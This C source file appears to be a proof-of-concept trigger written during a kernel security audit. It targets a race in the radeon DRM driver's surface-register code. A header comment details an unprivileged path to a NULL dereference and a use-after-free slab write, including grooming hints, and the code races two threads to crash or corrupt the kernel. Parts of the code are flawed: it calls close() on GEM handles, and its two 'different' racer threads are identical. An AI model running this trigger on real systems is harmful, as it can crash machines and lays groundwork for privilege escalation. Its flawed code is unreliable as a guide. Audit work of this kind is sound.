/* DF-4584 — radeon_bo_get_surface_reg cross-BO steal race
 *
 * VULNERABILITY (sys/dev/drm/radeon/radeon_object.c):
 *   radeon_bo_get_surface_reg() (radeon_object.c:601) asserts the lock of the
 *   BO being registered (line 609) but the device-global rdev->surface_regs[8]
 *   registry is scanned and stolen WITHOUT any lock that also protects the
 *   VICTIM BO (lines 620-630) or the victim teardown
 *   (radeon_bo_clear_surface_reg, lines 656-669, reached from
 *   radeon_ttm_bo_destroy line 80 on the final GEM unref).
 *
 *   Steal path re-reads reg->bo at line 638 and then dereferences the victim
 *   (ttm_bo_unmap_virtual(&old_object->tbo) :641, old_object->surface_reg=-1
 *   :642).  If the victim's destroy runs concurrently:
 *     - clear sets reg->bo=NULL (line 667) between our read and use
 *       -> NULL-deref panic at :628 or :641
 *     - clear completes and kfree(bo) (radeon_ttm_bo_destroy:85) lands before
 *       our use -> use-after-free: READ of tbo.vma_node at :641 and a 4-byte
 *       write of 0xFFFFFFFF at offsetof(struct radeon_bo, surface_reg) at
 *       :642 into freed kmalloc slab memory (groomable via GEM create/close).
 *
 * UNPRIVILEGED REACHABILITY:
 *   RADEON_GEM_SET_TILING ioctl (radeon_gem.c:503, no privilege/family check,
 *   any BO owner) stores RADEON_TILING_SURFACE (0x10) in bo->tiling_flags.
 *   mmap() of the GEM handle + page fault ->
 *   ttm cpu fault -> radeon_bo_fault_reserve_notify (radeon_object.c:793)
 *   -> radeon_bo_check_tiling(bo,0,0) (:804) -> mem==VRAM && surface_reg==-1
 *   -> radeon_bo_get_surface_reg (:769).
 *   With all 8 regs busy (create 8+ SURFACE-tiling VRAM BOs and fault each),
 *   every further registration takes the STEAL path -> race window.
 *
 *   NOTE: get_surface_reg also requires the BO to live (partly) beyond
 *   mc.visible_vram_size for the fault_reserve_notify route; filling VRAM
 *   achieves that.  radeon_bo_kmap() (radeon_object.c:289) is a second route
 *   kernel-internal drivers hit constantly.
 *
 * This trigger keeps 8+ surface BOs registered and then races, on two CPUs:
 *   thread A: register a fresh SURFACE VRAM BO (steal path)
 *   thread B: register then destroy a SURFACE VRAM BO (clear path)
 *
 * Build:  cc -O2 -pthread -o df4584_trigger df4584_trigger.c
 * Run:    ./df4584_trigger /dev/dri/renderD128   (fallback /dev/dri/card0)
 * Expected on vulnerable HW: kernel panic (NULL deref) or, with slab luck,
 * slab corruption messages; success criterion is the race outcome, repeated
 * over RUNS iterations.
 *
 * On the audit QEMU guest there is NO radeon hardware (virtio VGA only) and
 * radeonkms.ko is not even built/loaded, so the trigger can only be compiled
 * and its un-reachability on that guest recorded.
 */

#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>

/* ---- minimal DRM/radeon uapi replicas (radeon_drm.h) ---- */
#define DRM_IOCTL_BASE		'd'
#define DRM_COMMAND_BASE	0x40

#define DRM_RADEON_GEM_CREATE	0x1d
#define DRM_RADEON_GEM_MMAP	0x1e
#define DRM_RADEON_GEM_SET_DOMAIN 0x23
#define DRM_RADEON_GEM_SET_TILING 0x28

struct r_gem_create {
	uint64_t size;
	uint64_t alignment;
	uint32_t handle;
	uint32_t initial_domain;
	uint32_t flags;
};
struct r_gem_mmap {
	uint32_t handle;
	uint32_t pad;
	uint64_t offset;
	uint64_t size;
	uint64_t addr_ptr;
};
struct r_gem_set_domain {
	uint32_t handle;
	uint32_t read_domains;
	uint32_t write_domain;
};
struct r_gem_set_tiling {
	uint32_t handle;
	uint32_t tiling_flags;
	uint32_t pitch;
};

#define IOC_GEM_CREATE  _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_CREATE, struct r_gem_create)
#define IOC_GEM_MMAP    _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_MMAP, struct r_gem_mmap)
#define IOC_SET_DOMAIN  _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_SET_DOMAIN, struct r_gem_set_domain)
#define IOC_SET_TILING  _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE+DRM_RADEON_GEM_SET_TILING, struct r_gem_set_tiling)

#define RADEON_GEM_DOMAIN_VRAM	4
#define RADEON_TILING_SURFACE	0x10
#define BO_SIZE			(2*1024*1024)
#define NREGS			8		/* RADEON_GEM_MAX_SURFACES */
#define RUNS			20000

static int drm_fd = -1;

static int gem_create(uint32_t *handle)
{
	struct r_gem_create gc;
	memset(&gc, 0, sizeof(gc));
	gc.size = BO_SIZE;
	gc.alignment = 4096;
	gc.initial_domain = RADEON_GEM_DOMAIN_VRAM;
	if (ioctl(drm_fd, IOC_GEM_CREATE, &gc) < 0)
		return -1;
	*handle = gc.handle;
	return 0;
}

/* set SURFACE tiling, mmap, fault a page -> forces radeon_bo_get_surface_reg */
static int register_surface_bo(uint32_t *handle, void **map)
{
	struct r_gem_set_tiling st;
	struct r_gem_mmap gm;
	struct r_gem_set_domain sd;

	if (gem_create(handle) < 0)
		return -1;
	memset(&st, 0, sizeof(st));
	st.handle = *handle;
	st.tiling_flags = RADEON_TILING_SURFACE;
	st.pitch = 512;
	if (ioctl(drm_fd, IOC_SET_TILING, &st) < 0)
		return -1;
	memset(&sd, 0, sizeof(sd));
	sd.handle = *handle;
	sd.read_domains = RADEON_GEM_DOMAIN_VRAM;
	sd.write_domain = RADEON_GEM_DOMAIN_VRAM;
	if (ioctl(drm_fd, IOC_SET_DOMAIN, &sd) < 0)
		return -1;
	memset(&gm, 0, sizeof(gm));
	gm.handle = *handle;
	gm.size = BO_SIZE;
	if (ioctl(drm_fd, IOC_GEM_MMAP, &gm) < 0)
		return -1;
	*map = mmap(NULL, BO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
	    drm_fd, (off_t)gm.addr_ptr);
	if (*map == MAP_FAILED)
		return -1;
	*(volatile uint8_t *)*map = 1;	/* page fault -> fault_reserve_notify */
	return 0;
}

static void *racer_register(void *arg)
{
	uint32_t h;
	void *m;
	int i;

	for (i = 0; i < RUNS; i++) {
		if (register_surface_bo(&h, &m) == 0) {
			munmap(m, BO_SIZE);
			close(h);	/* GEM close -> eventual final unref */
		}
	}
	return NULL;
}

static void *racer_destroy(void *arg)
{
	uint32_t h;
	void *m;
	int i;

	for (i = 0; i < RUNS; i++) {
		if (register_surface_bo(&h, &m) == 0) {
			munmap(m, BO_SIZE);
			close(h);	/* destroy -> radeon_bo_clear_surface_reg */
		}
	}
	return NULL;
}

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	uint32_t keep[NREGS * 2];
	void *maps[NREGS * 2];
	pthread_t ta, tb;
	int i, kept = 0;

	drm_fd = open(dev, O_RDWR | O_CLOEXEC);
	if (drm_fd < 0) {
		fprintf(stderr, "open %s: %s\n", dev, strerror(errno));
		fprintf(stderr, "(no radeon DRM device on this machine -> "
		    "trigger not runnable here)\n");
		return 2;
	}

	/* occupy all 8 surface regs so every later registration steals */
	for (i = 0; i < NREGS * 2; i++) {
		if (register_surface_bo(&keep[i], &maps[i]) == 0)
			kept++;
	}
	fprintf(stderr, "kept %d surface BOs registered (regs=%d)\n",
	    kept, NREGS);

	pthread_create(&ta, NULL, racer_register, NULL);
	pthread_create(&tb, NULL, racer_destroy, NULL);
	pthread_join(ta, NULL);
	pthread_join(tb, NULL);
	fprintf(stderr, "done; kernel survived this round\n");
	return 0;
}
